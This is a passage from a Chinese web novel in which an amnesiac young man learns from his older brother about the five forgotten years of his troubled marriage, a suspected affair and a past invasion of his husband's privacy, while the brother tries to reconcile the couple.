“我没点外卖，”程想把手机屏幕亮给哥哥看，“我是想发信息给听岚哥，叮嘱他吃完饭。”
又被秀了一把恩爱，程铭正要毒舌吐槽，瞥见对话框上大大的红色感叹号，笑道：“听岚都吧你删了，你没看到吗？还发信息，鬼能看到。”
“我知道
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，我在加他好友，不知道为什么好友申请发不过去。”
程铭笑得更开心了：“有一种删除，叫拉黑。”
“听岚哥还把我拉黑了？”程想只觉得天都塌了。
怪不得他怎么加都加不回去。
由此他又发散思维到始终打不通的电话上，不敢置信地问道：
“我打他电话一直占线，他不会也把我手机号拉黑了吧？”
“很有可能。”程铭不笑了，倒同情起弟弟来。
随即他想起对方做的那些渣男事，又不同情了，只专心开车。
程想在知道被男神拉黑了所有联系方式后，整个人变成了失去梦想的咸鱼。
他没有颓废太久，又点开vx。
这次不是执着地要去加顾听岚，而是点开了唯一的置顶。
对方头像上显示2个未读信息，id叫“小谦”。
程想猜测对方是何昊谦。
点进去看到对方发的信息后，更加确认了。
因为内容是——
【程想哥哥，谢谢你送的游艇，我很喜欢，明晚一起吃个饭吧？】
看时间是昨晚发的。
怪不得对方今天一早打来电话，原来是见他一直没回信息，这才来询问他。
程想不习惯用vx，昨晚又一直跟男神在一起，连手机都没空摸，哪会想起来看vx。
哪怕被顾听岚当面指控出轨何昊谦，程想都认为这其中有着天大的误会。
但是看到这个信息后，他狠狠迟疑了。
更确切的说，是有些心虚。
朋友之间互相送礼物很正常，但是送游艇，这出手是不是太阔绰了？
他虽然没了解过游艇的价格，但是光看名字，就知道不便宜。
这么不日常的东西，必然死贵死贵的。
他脑子有坑吗？
为什么要送何昊谦一个游艇？
他真出轨了吗？
“你在那里碎碎念什么呢？”程铭听到弟弟对着手机嘀嘀咕咕个不停，受不了地问道。
“哥，我真出轨了吗？”
程想抬起头，茫然地问道。
21.怀疑
即使铁证如山，程想还是觉得自己做不出这种道德败坏的事。
别说他不认为自己会变心，就算真变心了，他会先离婚，然后再去开展新的恋情。
虽然人会随着时间的推移和成长，慢慢有所改变。
但他做人的底线不会变。
“这我哪儿知道？”程铭一副事不关己的模样，“你应该问你自己。”
“……？？？”
就在程想以为哥哥是在耍着他玩的时候，又听对方说道：“反正我了解到的是，你对那个姓何的非常体贴关心，对方一有个什么事，你跑得比谁都快。就连新婚之夜，人家一个电话也能把你叫走。”
“什么？”程想震惊得差点站起来。
新婚之夜跟着别人跑了……
他是什么绝世大煞笔么？
这么渣的事情都做得出来？
“……假、假的吧！”程想捂住扑通乱跳的心脏，尽力稳住神说道，“要真是那样，听岚哥不早把我蹬了。”
“那谁知道呢？可能他有什么把柄在你手上吧。”
程铭虽然是在调侃，但也这样怀疑着。
要不然顾听岚怎么能忍下这个奇耻大辱。
换成他，不仅会立即离婚，还要把对方的第三条腿折断。
不但绿他，还侮辱他，没把人弄死，都算他道德高尚。
“……我不信，这不是真的。”
程想又看了眼何昊谦的对话框，除了发的那条感谢他送游艇的信息外，往上翻出的聊天记录都很正常。
而且两人也不经常联系。
他不仅恋爱脑，还很黏人。
喜欢上谁恨不得24小时贴着对方，要是真变心喜欢上这个人，怎么可能如此冷淡？
“不信？”程铭嗤笑一声，“当时听岚打电话亲口告诉我的，这还有假？”
一句话，直接将程想整沉默了。
这件事实在超出他的认知范围，有那么一瞬间，程想都以为自己被夺舍了。
太奇怪了，简直到了匪夷所思的地步。
自打失忆后，程想第一次对自己产生了怀疑。
失忆后性情大变还能理解，没道理好端端的，却做出一些他自己都无法理解的离谱事。
他突然很想见见那个何昊谦。
直觉告诉他，对方应该能给他解惑。
程想思考了几秒钟后，给何昊谦发了个信息。
【程想：明天你有空吗？我想见一见你。】
对方似乎守在手机前，很快回复了。
【小谦：我有空的程想哥哥，几点在哪里见哇？[亲亲]】
对方越表现得热情，程想对男神的愧疚感越重。
只是跟别人发了条信息，他都觉得对不起男神。
自己到底是怎么昧着良心出轨的呢？
程想怎么都想不通。
车内突然安静下来。
没多久，程铭将车开回了新家。
程想一直在想心事，直到程铭喊他下车，才知道到地方了。
看到弟弟一脸生无可恋的颓废模样，程铭没什么同情心地说道：“现在知道后悔有什么用？你要真是想洗心革面，重新做人，就……”
程想等了半天，没等到下文，问道：“就什么？”
“就和听岚离婚吧。”程铭拍拍弟弟的肩膀，“真的，你们两个的婚姻，一开始就有问题，早离早解脱。”
“我不会离婚的。”程想说着，眼睛又红了，“不弄清楚到底是怎么回事，我不会离的。”
“你想弄清楚什么？”程铭拉着小哭包的弟弟往电梯间走去，随口感叹道，“你怎么失忆了连带着年龄也倒退了，你现在的样子，跟高中那会儿简直一摸一样。”
“我……”程想赌气道，“我就是高中生。”
“行行，你是高中生，今年十八岁～”程铭抛出网上火的一个梗后，将弟弟推进电梯轿厢里。
程想没有一味沉浸在自己的世界里，看了眼程铭按的楼层，问道：“哥，你和嫂子什么时候结婚的？我认识吗？”
“你还真是什么都不记得了啊。”程铭伸手揉乱弟弟的头发，说道，“我和你嫂子是相亲认识的，谈了一年多，今年五一结的婚。”
“相亲认识的？”程想诧异道。
“怎么，你歧视相亲呀？我大学没毕业就接手家里的产业了，天天忙得脚不沾地，哪有空自由恋爱？”
“我没有歧视相亲。”程想自己的婚姻都一团糟，哪有资格歧视别人，“我只是有点惊讶而已。”
“你才让我更惊讶呢。”
这些年弟弟的变化，说是变了个人都
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不为过。
这时候电梯停了，程铭停下闲聊，拉着弟弟走了出去。
他住的小区是一梯两户，因为电梯前后都可以打开，跟住一梯一户的感觉差不多。
程铭上来之前给妻子打过电话了，这会儿入户门不仅开着，还有一个气质温婉的女子站在门口迎接他们。
“老婆，我们回来了。”
一见到妻子，程铭立马抛下弟弟，快步走过去拥抱对方。
“辛苦了，快进屋吧。”和丈夫拥抱后，杨瑾笑盈盈地对程想道，“小程也快进来吧。”
“嫂、子好，抱歉这么晚还来打扰你们。”程想不熟练地打着招呼。
杨瑾抬头看了眼他，抿唇笑道：“弟弟现在变得好有礼貌啊，让我不知道该怎么招待了。”
“不用招待他，今晚不是剩了很多菜么，热热给他吃就行。”
“今晚哪有剩很多菜，”杨瑾当即拆台，“而且弟弟好不容易来一次，怎么能让他吃剩饭呢。我这就去做新的。”
“不用忙了，嫂子，我不饿。”程想这会儿一点胃口都没有，也不好意思麻烦人。
杨瑾没有理会，径自去了厨房。
“让你嫂子做吧。”
程铭让程想在客厅沙发上坐着，然后拿了瓶酒和两个酒杯回来了。
“家里有客房，今晚就住这儿吧，咱们哥俩喝几杯？”
程铭想起程想说自己是高中生，笑道，
“说起来，我还没跟高中的你喝过酒呢。”
其实这几年兄弟俩也没喝过几次酒。
他忙是一方面，对方的刻意躲避才是主要原因。
18岁的程想，别说白酒了，啤酒都没喝过。
他在某些方面很大胆跳脱，在某些方面又格外听话保守。
面对喜欢之人的邀请，他都不敢答应。
怎么会有胆子出轨呢？
怀疑的种子一旦种下，程想越想越觉得不对劲。
他拿起打开的酒瓶给自己倒了半杯酒，在哥哥的阻拦声中一饮而尽。
“哥，”
摄入酒精后，程想那张脸迅速变红了，他自己毫无所觉，只是用那双清澈水润的眼睛盯着自己信赖的亲人，
“你能详细给我讲讲这五年来发生的事情吗？就从我高中复读说起。”
22.失忆这五年（上）
“从高中复读开始讲？”程铭神色突然变得有些不自然，看起来不是很想提起这段，“关于复读你记得多少？”
“我不记得复读的事情，是听岚哥告诉我的。”
尽管再次被男神抛弃了，程想还是很关心地说道，
“哥，你跟听岚哥发个信息，告诉他记得吃晚饭。我们本来就没定好晚饭怎么吃，我怕他一生气又给忘了。对了，你有听岚哥的vx吧，他应该没有拉黑你。”
“……”程铭盯着弟弟那张写满苦恼的帅气脸庞，无语的同时，突然又有种时光倒流的感觉。
高中时的弟弟中二又傻缺，他嫌弃得不行，总盼着弟弟快点长大变成熟。
后来弟弟生了一场大病，性子真变得稳重后，他又时常怀念那个总让自己操心的弟弟。
他一直以为是弟弟转变得太过极端，从过分幼稚黏人，变得过分成熟疏离，自己有些接受不能。
如今再看到弟弟变回小时候的样子后，才发现他其实喜欢的还是弟弟原来的模样。
“知道了。”程铭掏出手机，按照弟弟交代的给顾听岚发了条信息。
等他再抬起头的时候，就见程想又在喝酒。
不会喝酒的人，喝起来真是吓人。
他赶紧上前夺过空了的酒杯，将有些醉态的弟弟按在沙发上：“一会儿再喝，空腹喝酒很容易醉的，等菜上来了我陪你边吃边喝。”
“……哦。”
程想虽然是第一次喝酒，但酒品很好。
醉了后不吵不闹，还很听劝。
等他乖乖窝在沙发里后，程铭坐到他身边，先问道：“你的记忆是从什么时候断掉的？”
“2016年6月26号，不知道你还记不记得，就是高考成绩出来的第二天，我当时是要去跟听岚哥告白，出门之前还跟你打了电话，确认他是不是在学校。”
“嘶——”程铭的表情肉眼可见的凝重起来，“然后呢？”
“我就记得我出门了，然后就不知道了。等我再睁开眼睛，就出现在会议办公室，也就是前几天。”
程想拿出手机看了眼日期，补充道：“我再醒来就是2021年9月23日了。这中间的事情我一点都不记得了……”
他本想抱怨几句，又觉得一开口就刹不住了，便只说道：“就算让我失忆，怎么不在我告白成功后失忆呢？”
错过那么重要的时刻，真是此生最大的遗憾！
“其实……”程铭纠结了几秒钟，说道，“告白前失忆挺好的。”
程想瞬间酒醒了一半：“什么意思？”
“因为你那一次告白没成功。”程铭同情地看着脸色骤然变白的弟弟，虽然很不忍心，还是说出了实情。
“啊！”程想一下子站了起来，“我没、没告白成功！”
这怎么可能呢？
没成功他和听岚哥怎么会结婚？
“你别激动，先坐下。”程铭将浑身颤抖的弟弟拉回位置上，语调缓慢地讲起在程想听来，犹如发生在平行世界的这五年。
“其实你告白失败，不是被听岚拒绝了，而是没有找到他。”
“我那段时间只顾忙公司的事，不怎么在宿舍，只知道听岚想考青大研究生，不知道他后来改主意报了国外的学校。你去青大找他告白的时候，他已经提前出国到了新西兰。”
“你扑了空，又联系不上人，回来后便大病了一场。”
“估计是这件事对你造成的影响太大了，毕竟为了这次告白，你精心准备了一年多，也苦苦忍耐了一年多，结果半路夭折了，比告白被拒还让人难受。”
“我生了什么病？很严重吗？”程想忍不住问道。
“很严重，叫解离性遗忘症。”程铭准确地说出病症的名字，可见对弟弟曾经的遭遇，十分上心。
“这是……什么病症？”程想还是第一次听说。
“这是一种因为心理上遭受巨大创伤而产生的一种失忆症。王妈应该跟你说过，你以前也失忆过。”
程想道：“但是王妈说不严重，只是忘了一小部分事情。我应该没有忘记听岚哥吧？”
“你没忘记他，家人朋友也没忘记，只是一些细小的事情记不太清了。”
“那就还好啊。”
程想正想说没有自己这次严重时，就听哥哥说道：“但是你把学了十几年的专业给忘记了，你不会画画了，也不再喜欢你的男神，是你第一个男神孙悟空。你应该发现你家里没有任何画画相关的东西，还有那些你买的大圣珍藏版周边，都没有了。
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”
“……”程想脸上的血色，霎时间褪得干干净净。
作为中二少年，可以说自推是超越自己的存在。
就算把自己忘了，也不能忘记自推！
“那……那我复读……”
“你虽然考上了青大，但因为不会画画了，病情好转后，就回高中复读，走文科考上了云大金融系。还只用两年时间，就学完了大学全部课程。你利用所学知识炒股赚了一些钱，大学后两年自己创业开了一家小公司。”
“……”程想越听越觉得陌生，但因为逻辑连贯，让他根本挑不出毛病来。
他对顾听岚一见钟情。
高三又正是心理压力最大的时候，精心准备又辛苦压抑了一年多的告白，不仅连个展示的机会都没有，还可能和心上人再没机会相见，别说得什么解离症失忆了，疯了很有可能。
“那、那我……是在复读的时候，就变心了吗？”极重感情的程想，首先想到的是自己的感情问题。
“啊？”
程铭一愣，随即想到何昊谦就是弟弟高三复读时认识的，又开始变得模棱两可，
“这、这我就不知道了，我只知道你们是同桌，关系挺好，你的感情问题，那时候全家人都担心你再犯病，谁敢过问你的感情问题？”
“你……”他用轻松的语气说道，“你大病一场后，性情也变了很多，不仅越来越沉默寡言，和家人也不太亲近了。特别是我，你是不是对我记仇了？要是我多帮你盯着点听岚，也不至于他人都跑国外去了，我竟然还不知道。”
其实如果他早点知道的话，按他弟控的性子，肯定会劝顾听岚不要去国外。
估计顾听岚预料到他会这样做，所以一直瞒着所有人。
严格说起来，他没有做错什么。
但弟弟不管是初恋夭折，还是大病一场，他都脱不了干系。
虽然没有任何人怪他，他却总觉得对不起弟弟。
包括父母也抱着类似的想法，认为对小儿子十分失职。
所以后来不管程想做什么，他们都无条件支持。
从不过问。
就在程铭自责感伤之际，程想突然问道：“你知道听岚哥为什么要出国留学吗？他后来怎么又回来了？”
23.失忆这五年（中）
程铭被问得一愣，似乎从没想过这个问题。
不过很快回道：
“那几年正是留学热的时候，他孤家寡人一个，估计想去外面闯闯，顺便换换心情吧。至于他怎么会回来，这个……”
程铭看向神色复杂的弟弟：“就要问你了。”
“我？”程想眼皮突然跳了下。
“你考上大学后，通过多方途径又联系上了听岚，在他研究生毕业的时候，专程飞到新西兰去看他，还带上了高三暑假没能送出的那些情书。听岚很感动，答应了你的求爱，并放弃了那边专业对口又高薪的工作，跟你一同回国了。
回来没多久，你那个小公司资出了问题濒临破产，听岚用他爸的人脉和资源，帮你保住了公司，还把业务从代理销售，改成了地产企业，就是现在的昊鑫地产。”
“……”信息量有些大，半醉的程想一时间有些消化不了。
没等他理出头绪，程铭又道：“为了你这个公司，听岚不仅忙前忙后，出钱又出力，就连你们结婚，都只扯了证，连婚礼都没办。”
所以程铭才会说弟弟的婚姻，从一开始就有很大问题，很赞成他离婚。
从他的视角看来，弟弟简直像是一个吃绝户的绝世大渣男。
“没办婚礼？”
想到挂在婚房里的那张巨幅结婚照，程想实在是难以置信，最注重仪式感的自己，竟然会把最最重要的婚礼给省掉了。
“是的，你们只在去年5月20号领了结婚证，不仅没婚礼，亲朋好友也没有请。要不是当天晚上你接了何昊谦的电话跑出去，留听岚一个人在家喝闷酒，他不会喝醉后打电话跟我抱怨，我也不会知道你们竟然偷摸把这么大的事情给办了。”
刚开始接到电话时，程铭还以为顾听岚只是跟弟弟同居了。
没想到两人竟然是先买婚房，领证，然后才住一起的。
乍一听还觉得挺正式，是在正经处对象过日子。
但知道弟弟的骚操作后，他当时就气得要把对方找出来，押着去找顾听岚认错离婚。
结果顾听岚却反过来劝阻他。
也是从这件事让程铭知道，这段感情中，陷得更深的不是他那个为爱隐忍三四年的弟弟，而是外表冷心冷情的顾听岚。
“你小子跟我说实话，听岚是不是真有什么把柄在你手上？”程铭认真问道，“要不然他怎么愿意被你一次又一次伤害？”
这一两年来，弟弟做的缺德事不止这一件。
顾听岚每次都能默默忍了下来，这不得不让程铭多想。
“我不知道，我什么都不记得。”程想同样很不理解。
但比起不理解顾听岚为什么会这么容忍自己，他更不理解的是，做这些事情的他，真的还喜欢顾听岚吗？
为什么他感受不到一点爱意？
一开始他怀疑自己被夺舍，只是瞎想而已，并没有当真。
等哥哥讲述那五年发生的事情时，他越听越觉得像是自己会做的事情，更是打消了这个只有小说里才会出现的荒诞念头。
但听到现在，他又产生了强烈的怀疑。
他不会，真的被别人……
就在程想往灵异方向去想时，程铭突然按住他的肩膀，问道：“话说回来，为什么听岚突然又愿意跟你离婚了？还是在你失忆后。”
“啊？”程想瞬间被带跑偏了，也开始思索这个问题，“……我只知道听岚哥提前准备好了离婚协议书，就算知道我失忆了，还是要跟我离婚。”
“没了吗？”程铭也知道问失忆的弟弟，有欺负对方的嫌疑，但是除了问他，也没别的办法，他总不能直接去问顾听岚。
而且依顾听岚什么事都不往外说的性子，也不会告诉他的。
“本来我们都要和好了，也不能说完全和好，起码听岚哥没那么坚决想跟我离婚了，结果今天晚上，他知道我打听过他的事情后，就说什么都要跟我离婚。”
“？？？”程铭皱起眉头，不解道，“只是因为这件事吗？”
虽然私自探查别人隐私是不对，但跟程想做的那些极品事比起来，根本不算什么。
没道理出轨家暴都不离婚，得知被查了隐私，反而非要离婚
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的。
而且两个人都结婚了，双方家庭情况都一清二楚，再来翻旧账，是不是太小题大做了？
程想回忆两人在车里争吵的内容，点头：“听岚哥本来就很注重自己的个人隐私，我找人查他，他肯定忍受不了。而且他妈妈又是因为知道他爸跟小三有了孩子气死的，他……”
“等会儿，”程铭打断道，“他妈妈是因为小三怀了私生子而气死的说法，只是一些知情人的猜测而已，具体怎么回事，谁都不知道。 ”
“可能是真的。”想起顾听岚提起弟弟时的态度，程想认为对方就是他们离婚的导火索。
“就算是真的，”程铭还是无法理解，“那也不能因为这个理由，就跟你离婚啊。正常情况下，既然你知道害死他妈妈的凶手是谁，不应该拉着你一起去报复那一家三口吗？”
没见过不找仇人报仇，反而抓着知情人惩罚的。
“可能因为我之前对他那个弟弟很好吧？”
程想不是无端猜测的。
在商场时，顾启明对他那么巴结，可见平时肯定没少从他那里拿好处。
“呃……”程铭战术性地停顿了几秒，之后才道，“其实，你很讨厌听岚这个弟弟，讨厌到有时候会挂脸，当众让对方下不来台的程度。”
“哈？”程想又吃了一惊。
程铭接下来的话，更是让他惊掉了下巴：“听岚对他这个弟弟倒挺照顾的，他这个弟弟很不成器，不仅一点脑子都没有，还又蠢又坏。
听岚的爸爸身体这两年一直不太不好，老爷子宁愿将公司一大半事务都交给从小不喜欢的大儿子，都不分一点给疼爱的小儿子，不仅如此，连零花钱都不愿意多给，虽然没有当年克扣听岚那样厉害，但也很苛刻了。
要不是有听岚时不时的接济，按照他那大手大脚的习惯，早沿街乞讨去了。
而且他妈妈吃穿用度，是听岚负责的。听岚要是真恨这对儿母子，多的是下手的机会。”
“？？？”程想听完只觉得怀疑人生，“那听岚哥为什么……”
为什么只单单针对他？
24.心软
就在兄弟俩陷入沉默的时候，杨瑾把做好的饭菜端了过来。
这么一点时间，她就做了两菜一汤，可见平时没少打理家里事物。
程铭殷勤地起身接过妻子手中的托盘，嘴上满是感谢。
看着哥哥和嫂子有爱的互动，程想想到了和男神一起吃早饭的场景。
早上他们还跟新婚夫夫一样，先后起床，吃饭聊天。
他以为日子好起来了，没想到晚上就又被抛弃了。
“发什么呆，赶紧吃饭。”催促妻子去休息后，程铭又来催弟弟吃饭。
“好。”
程想这会儿没有吃饭的心情，但为了喝酒，便强迫自己吃了一些。
等胃没那么空之后，他便迫不及待拿起酒杯喝了起来。
程铭知道弟弟心情烦闷，没有阻拦，在一旁陪着喝。
有一种说法，喝酒上脸的人其实酒量很好。
程铭以为弟弟就是这样。
结果等程想像是对待什么珍宝一样把空酒瓶抱怀里，眼泪宛如打开的水龙头哗哗直流的时候，他才醒悟过来：
弟弟这是喝醉了，还醉大发了。
“程想，能听到我说话吗？”
23岁的弟弟长得人高马大的，喝醉后又特别沉，程铭尝试了几次没有把人扶起来，只好改为唤醒他。
喝懵的程想，此刻正沉浸在一片光怪陆离中，听不到任何呼唤。
程铭只好让他就这样睡在沙发上，去卧室拿了被子和枕头出来。
刚把弟弟安顿好，放在口袋里的手机响了。
程铭拿出来一看，居然是顾听岚的来电。
他看向眼角泪痕未干的弟弟，赶紧接通电话。
“抱歉这么晚了给你打电话，”
听筒里顾听岚的声音疏离又客气，说的内容却饱含关心，
“程想在你那里吗？”
“在，他在。”
程铭悄悄松了口气。
既然能打电话来问他，就证明对他这个弟弟是在乎的。
做哥哥的很有为弟弟助攻的觉悟：“他就是准备走呢，你要来接他吗，还是我把他给你回去？”
程铭这样说，有点无赖的意思。
他很了解这个认识四年的室友，知道对方虽然看着薄情寡义，其实心很软，尤其不会拒绝人。
哪怕是觉得麻烦的事情，只要别人开口，就会帮忙。
程铭有次就开玩笑，说顾听岚很适合做捧哏，永远不会让别人的话掉在地上。
听到他的话，顾听岚果然说道：“我去接他，让他等我一会儿。”
“好好。”程铭连声答应。
“谢谢，麻烦你了。”
“客气什么？程想除了是你爱人，还是我弟弟，我也很疼他的。”
这句话就是试探了。
不知道顾听岚听出来没有，“嗯”了一声，便挂了电话。
程铭收起手机，觉得浑身充满了力气。
看这态度，明显还是很关心他弟弟嘛。
这婚离不了的。
做哥哥的十分自信。
然后不到两秒钟，他拍了下手，扑到沙发上去摇晃睡得无知无觉的弟弟：
“程想，快醒醒，再不醒你老婆要没啦！”
*
没用很长时间，顾听岚便开车来到了程铭所在的小区。
他不是第一次来，直接熟门熟路上了楼。
程铭笑盈盈把人迎进屋，关上门后，才抱歉道：
“我们吃饭时喝了点酒，我不知道他失忆后酒量就变差了，这会儿还没酒醒呢，要不然你们两个今晚就住在我这里吧，反正也给你们留的有房间。”
顾听岚看了好友一眼。
那眼神仿佛在问：
怎么不早说，这样他就不用跑着一趟了。
程铭可比弟弟精多了，只笑着装傻。
“……我还是带他回去吧，就不打搅你和嫂子了。”
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顾听岚自然不会住下来，去到客厅查看程想的情况。
“我来帮忙，你一个人搬不动他。”程铭殷勤地跟过来。
杨瑾也从卧室出来了，笑着跟顾听岚打招呼：“听岚来了，坐一会儿再走吧，说不定小程很快就醒了。”
程铭也帮腔：“对对，开车过来怪累的，歇会儿喝了茶再走，对了，你吃晚饭了吗？程想说你还没吃，特意让我给你发信息叮嘱你。”
他不仅见缝插针地帮弟弟说好话，在发那条信息时，就特意交代了是程想让他发的。
在车库和程想争吵时，顾听岚是真的铁了心要离婚的。
但再坚定的心 ，在看到写着程想名字的关心信息后，还是不争气的心软了。
等吃过晚饭后，就给程铭打电话。
这时候被再三挽留，顾听岚只得同意再坐会儿。
程铭让妻子赶紧去泡茶，他则陪着好友聊天。
“程想跟我说了你们今天吵架的事，”
程铭既然要做和事佬，便选择开门见山，
“这件事不能全怪他，他只是起了坏心思，想调查你的隐私，但做这件事的人是我。他那时才多大，也不认识什么人，我要不帮他，他一点办法也没有，所以归根结底这件事怨我，是我做错了。
我在这里跟你道歉，对不起，听岚，算我欠你一次，以后有需要用得着我的地方，你随时开口。我先以酒跟你赔不是。”
说着，程铭便倒了杯酒。
“你……”
顾听岚并不知道还有这层隐情，因为太过震惊，以至于来不及阻拦，就这么眼睁睁看着程铭将酒一饮而尽。
“……别也喝醉了。”
最后，他只好这样说道。
“放心，我酒量好着呢。我可不像我的傻弟弟那么守规矩，就算成年了也烟酒不沾，我十六七就开始喝酒了。”
“他……”提起程想，顾听岚的目光不由地看了过去，“今晚喝了很多酒吗？”
25.报仇
程铭不敢让顾听岚知道弟弟几乎喝了一整瓶，摆手道：“没喝多少，他就是酒量太差才醉的。”
杨瑾把泡好的茶端了过来，递给顾听岚的时候，说道：“这是福鼎白茶，你尝尝喜不喜欢。”
“谢谢嫂子。”顾听岚最喜欢的就是白茶，知道是程铭告诉杨瑾的，又对好友道了谢。
程铭不满道：“都是一家人，整这么客气做什么。”
“你们聊，需要什么再叫我。”杨瑾说完，便又回了卧室。
她一走，顾听岚也想走了。
他过来接程想，一是因为那条信息而有所心软，二则是不想因为他们的争吵，麻烦到其他人。
虽然程铭夫妇是程想的哥哥嫂嫂，是亲人，不存在麻烦一说。
但在亲情淡薄的顾听岚眼里，也是不能打扰的存在。
他这边还没找好离开的理由，程铭先说道：
“听岚，如果程想还是之前那个混账样，我绝对会劝他跟你离婚，但是他现在失忆了，性子又变得跟以前一样讨喜率真，最重要的是，他的记忆停在了最爱你的时候，你要是还喜欢他的话，哪怕对他还有一点点感情，就再给他一次机会，行不行？”
虽然程铭拿着“失忆”的名头劝和，很有道德绑架的嫌疑。
但也的确是为了这对儿有情人好。
顾听岚也知道他是好意，却并没有被说动。
“我……”在程铭期盼饿目光中，顾听岚消极地说道，“他、其实并不喜欢我。”
“怎么会呢？”程铭都要替弟弟大呼冤枉了，“他要不喜欢你，怎么会放着唾手可得的美院不上，改报美术专业排不上号的青大呢？而且，他有那么多机会跟你告白，为什么非要等到确定能和你上同一所大学后，才找你告白？”
“他……”这又是顾听岚不知道的事情，他只知道，“不是喜欢青大，所以才报考青大的吗？”
“他喜欢青大，还是在青大上学的你，你想不明白吗？”
程铭又说起另一件顾听岚不知道的事情，
“程想他高二就通过了央美的单招考试，不过名次不是特别靠前，又担心文化分拖后腿，才决定把高中上完的。”
“他……”顾听岚垂下眼帘，掩去眸中复杂震惊的神色，“从来没跟我、说过这些。”
“别看他平时话很多，其实特别能藏事，而且比起花言巧语，更喜欢用实际行动证明自己的心意。”
程铭夸起弟弟来滔滔不绝，都不带重复的。
顾听岚虽然很受触动，却依然不自信：“但人是会变的。”
18岁的程想确实对他情深似海，但坏就坏在，他在对方最喜欢他的时候出国留学了。
空间、时间的阻隔，再感情深的恋人，感情都会受影响。
更别说他们两个都还没表明心迹。
程想后来对他感情变淡，或者移情别恋，他都很能理解。
但是……
顾听岚还没想完，程铭便斩钉截铁道：“程想对你的心意一直都没有变，你要相信他。”
“那何昊谦怎么说？”在以前，顾听岚是不愿意提起这个人的。
是人都注重脸面。
特别是顾听岚，更是死要面子活受罪的性格。
但是今晚知道了一些事后，他不得不重新审视他们三人之间的关系了。
“程想和他只是同学，他们并没有交往过。”
虽然程想第一次失忆后性情大变，跟程铭不再亲近，但程铭一直关注着弟弟。
程想有没有再喜欢上谁，他可能不知道，但是有没有和谁交往，却再清楚不过。
“你怎么知道他们没有交往过？”顾听岚问完，很快想到答案，“你连你亲弟弟也调查？”
“对。”程铭供认不讳，“他大病一场后，像换了个人一样，我自然要多留心，而且，我还存了私心。”
“私心？”
程铭叹了口气：“我知道我这样的想法很不好，但我真的
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很希望程想未来的伴侣是你，所以，就找人替你盯着他。”
“你真的……”顾听岚找不到委婉的说辞，便直白道，“很喜欢插手别人的事情。”
就像调查他的私事。
18岁的程想或许思想不够成熟，但22岁的程铭已经是一个有独立思考能力的成年人了。
竟然帮着弟弟做违法乱纪的事，顾听岚其实也有些怨恨程铭的。
他和程想能走到今天这般难看的地步，对方也算功不可没。
“对不起听岚，我不该找人调查你的隐私。但……”程铭替弟弟问出疑惑，“你不觉得你的做法，很不公平吗？”
“你什么意思？”顾听岚清泠泠的目光看向多年好友。
“你因为程想曾经探查过你的隐私，就要跟他离婚。破坏你家庭幸福，甚至把……你母亲害死的人，你为什么对他们那么好？”
“……”顾听岚眨了眨眼睛，似乎是没有听懂程铭在说什么，问道，“你说的他们是谁？”
“顾启明和他妈，还有你爸。”既然话已经说开了，程铭也不藏着掖着了，“他们三个气死了你妈妈，你为什么还要跟他们继续做家人呢？”
身处法制社会，程铭当然不会怂恿顾听岚去找这三人报仇。
而且因为没有证据，顾听岚连告他们一家三口的机会都没有。
但没办报仇，也不代表要装做什么都没发生，继续做家人。
虽然顾听岚和他们并不亲近，但是愿意来往，就已经很对不起去世的母亲了。
程铭不明白，连仇人都能原谅的顾听岚，怎么就不能原谅只是犯了小错误的弟弟。
“……我一直在搜集当年的证据。”顾听岚的语气带着寒气逼人的恨意，“就算找不到，我也不会让他们一家三口好过。”
“那你……”
“你是不是认为我和程想离婚，对他惩罚太重了？”顾听岚突然笑了，“那你有没有换个角度想，其实是对他惩罚最轻呢？”
26.来接我
“这还轻？”程铭实在无法理解顾听岚的脑回路，“让最重感情的人永失最爱，和判他死刑有什么区别？”
说着程铭自己都要emo了，“听岚，你不能再给程想一个机会吗？老天都看不过去，让他失忆了，只记得最爱你的时候，你再给他一次机会，也给自己一次机会，不行吗？”
“……”回到18岁的程想，固然让顾听岚很心动，但是他们还是无法在一起，“如果他只记得高二之前的事情，就好了。”
“？？？什么意思？”
程铭第一次发现跟好友无法沟通，真是不知道自家弟弟是怎么和对方相处过来的，
“高二的他跟高三的他有什么区别？不都很喜欢你吗？”
顾听岚说道：“起码那时候，他还不知道我那些隐私。”
“你……”程铭忍着脾气说道，“可你们在一起后，他一样会知道那些事啊，只是早一点知道而已，你为什么非得揪着这一点不放？”
这让他觉得好友简直是在无理取闹。
“你如果不帮他打听，他永远不会知道。程铭，不是谁都会把自己所有事都告诉伴侣的，我们不能……”在一起全怪你。
这话说着太伤人，也太怪罪程铭了，顾听岚干脆站起身道，
“算了，说这些没意思。我该回去了，你帮我把程想扶下去吧。”
“等等，你的意思是说，是我破坏了你们的感情，对吗？”
顾听岚不想再继续聊下去了，程铭却不答应，沉着脸道，
“私自打探你隐私这事，是我做错了，我向你道歉，你想要我怎么弥补都可以。但是这怎么会影响你们的感情呢？程想在知道那些事后，只会更加心疼你，更想给你一个温暖的家……”
“别说了。”顾听岚冷声打断道。
“为什么不让说？人长着嘴又不是出气的，不多沟通怎么解决问题？我算是发现了，你们两人闹到今天这个地步，全是因为不长嘴。”
这话成功激怒了顾听岚：“你既然知道我家那些事，也知道程想和何昊谦暧昧不清，还不明白我会为什么要跟程想离婚吗？”
“何昊谦？”程铭不明白为什么又要提起他，“我不是解释过了么，程想没有跟他交往过，而且，他跟你家那些事情又有什么关系？”
“！！！”顾听岚愣了下，边观察程铭的神色，边问，“你这话是认真的吗？”
“什么认真的？你说话能不能不要打哑谜？难道何昊谦也私下打听你的隐私了吗？”
程铭见顾听岚如此在意自己的隐私，便这样猜测道。
“你……”顾听岚的神色变得游移不定起来，“当年都查到我哪些事？”
“程想不是都跟你交代过了么？”
顾听岚总不能说当时打断了程想，只道：“我想听你说。”
“我那个傻弟弟在你面前恨不得把心都掏出来，你居然还怀疑他。算了，你想知道我就告诉你。”
程铭便把当年查到的事情，都说了出来。
他总共也就做了这么一件亏心事，顾听岚的家庭情况又太过特殊，即使过了这么多年，都还记得清清楚楚。
等他详细说完后，顾听岚却似乎不太满意：“没有了吗？”
“？？？”程铭疑惑道，“怎么，难道程想还跟你说了别的吗？”
“没，你们说的是一样的。”顾听岚又坐回沙发上，垂下眼帘沉默了。
程铭虽然搞不懂状况，却比弟弟脑子灵光，很快想到症结所在：“难道你以为我把你家里所有事情都打听了一遍吗？别说这不容易做到，我也不是那种爱探听别人隐私的人。”
顾听岚瞥了程铭一眼。
理亏的程铭不再吭声了。
不过没有安静几秒，他又开口问道：“何昊谦难道是陶丽丽娘家的亲戚吗？”
陶丽丽就是顾启明的母亲。
“不是！别问了。”顾听岚又站了起来
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，这一次，他径直走向长沙发，也就是程想睡着的地方。
程铭不敢再说话了，站在一边看他干什么。
